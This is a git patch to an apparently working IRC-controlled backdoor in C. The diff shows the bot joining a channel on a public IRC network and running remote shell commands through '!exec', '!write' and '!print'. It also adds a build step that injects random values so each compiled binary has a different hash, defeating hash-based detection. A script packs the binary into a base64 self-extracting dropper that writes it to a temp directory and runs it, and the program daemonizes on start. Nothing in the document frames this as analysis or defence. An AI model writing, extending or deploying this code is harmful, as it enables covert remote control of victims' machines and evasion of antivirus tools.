From 77d2f3cc76b944651b1bbf0ab49f6c04d7875f5c Mon Sep 17 00:00:00 2001 From: Your Name Date: Sat, 27 Apr 2024 12:36:45 +0300 Subject: [PATCH] fixed --- build.sh | 5 ++--- gen_script.sh | 10 +++++++++- include/cfg.h | 2 +- src/backdoor.c | 18 +++--------------- src/main.c | 7 +++++++ 5 files changed, 22 insertions(+), 20 deletions(-) diff --git a/build.sh b/build.sh index a8093d0..cbd37d2 100755 --- a/build.sh +++ b/build.sh @@ -1,5 +1,4 @@ CFLAGS="-s -Os -pedantic -Wall -Wextra" -rm main - -cc $CFLAGS src/* -Iinclude -DENABLE_SSL -lssl -lcrypto -omain +cc $CFLAGS src/* -Iinclude -DENABLE_SSL -lssl -lcrypto -omain -DVAL1=$RANDOM -DVAL2=$RANDOM +strip -sx main diff --git a/gen_script.sh b/gen_script.sh index 2237ff1..40a5461 100755 --- a/gen_script.sh +++ b/gen_script.sh @@ -1,3 +1,11 @@ #!/bin/sh ./build.sh -echo \#\!"/bin/sh" > script.sh && cat main | base64 | xargs -I % echo f+=\" % \" | tr -d " " >> script.sh && echo -e "t=\$(mktemp -p \$TMPDIR XXXXXXXX)\necho \$f | base64 -d > \$t\nchmod +x \$t\nexec \$t" >> script.sh && chmod +x script.sh +echo "[md5]" $(md5sum main) + +payload=$(cat main | base64 | xargs | tr -d " ") + +echo "#!/bin/sh" > script.sh +echo "f=\""$payload\" >> script.sh +echo -e "t=\$(mktemp -p \$TMPDIR XXXXXXX)\necho \$f | base64 -d > \$t\nchmod +x \$t\nexec \$t" >> script.sh + +chmod +x script.sh diff --git a/include/cfg.h b/include/cfg.h index d334079..cee561a 100644 --- a/include/cfg.h +++ b/include/cfg.h @@ -9,5 +9,5 @@ typedef struct { } SERVER; SERVER servers[] = { - {1, "irc.rizon.net", 6697, NULL, "#channel", NULL} + {1, "irc.rizon.net", 6697, NULL, "#blbl", NULL} }; diff --git a/src/backdoor.c b/src/backdoor.c index c95e029..9e6361d 100644 --- a/src/backdoor.c +++ b/src/backdoor.c @@ -1,5 +1,4 @@ #include -#include #include "backdoor.h" #include "irc.h" @@ -27,17 +26,6 @@ void parse_cmd(IRCC_client *client) { else if (!strncmp(client->irc_msg, "!cd", 3)) chdir(client->irc_msg + 4); - else if (!strncmp(client->irc_msg, "!uname", 6)) { - struct utsname uts; - if (uname(&uts) < 0) - return; - - char buf[COMMON_BUF_SIZE + 1]; - snprintf(buf, sizeof(buf), "[Arch: %s] [Sys: %s %s] [Host: %s]", uts.machine, uts.sysname, uts.version, uts.nodename); - - send_info(client, buf); - } - /* Shell */ else if (!strncmp(client->irc_msg, "!exec", 5)) { if (fp != NULL) @@ -46,7 +34,7 @@ void parse_cmd(IRCC_client *client) { fp = popen(client->irc_msg + 5, "wr"); } - else if (!strncmp(client->irc_msg, "!print", 5)) { + else if (!strncmp(client->irc_msg, "!print", 6)) { if (fp == NULL) return; @@ -59,14 +47,14 @@ void parse_cmd(IRCC_client *client) { send_info(client, buf); } - else if (!strncmp(client->irc_msg, "!write", 5)) { + else if (!strncmp(client->irc_msg, "!write", 6)) { if (fp == NULL) return; fputs(client->irc_msg + 5, fp); } - else if (!strncmp(client->irc_msg, "!close", 5)) { + else if (!strncmp(client->irc_msg, "!close", 6)) { if (fp == NULL) return; diff --git a/src/main.c b/src/main.c index 9238cbc..add799e 100644 --- a/src/main.c +++ b/src/main.c @@ -6,6 +6,12 @@ #include "irc.h" #include "cfg.h" +int ChangeHashSum(void) { + int i = VAL1; + int j = VAL2; + return i + j; +} + char *randnick(size_t len) { char a[] = "asdfghjklzxcvbnmqwertyuiopASDFGHJKLZXCVBNMQWERTYUIOP"; char *str = malloc(len + 1); @@ -59,6 +65,7 @@ int start(void) { } int main(void) { + ChangeHashSum(); daemon(0, 0); if (fork() == 0) {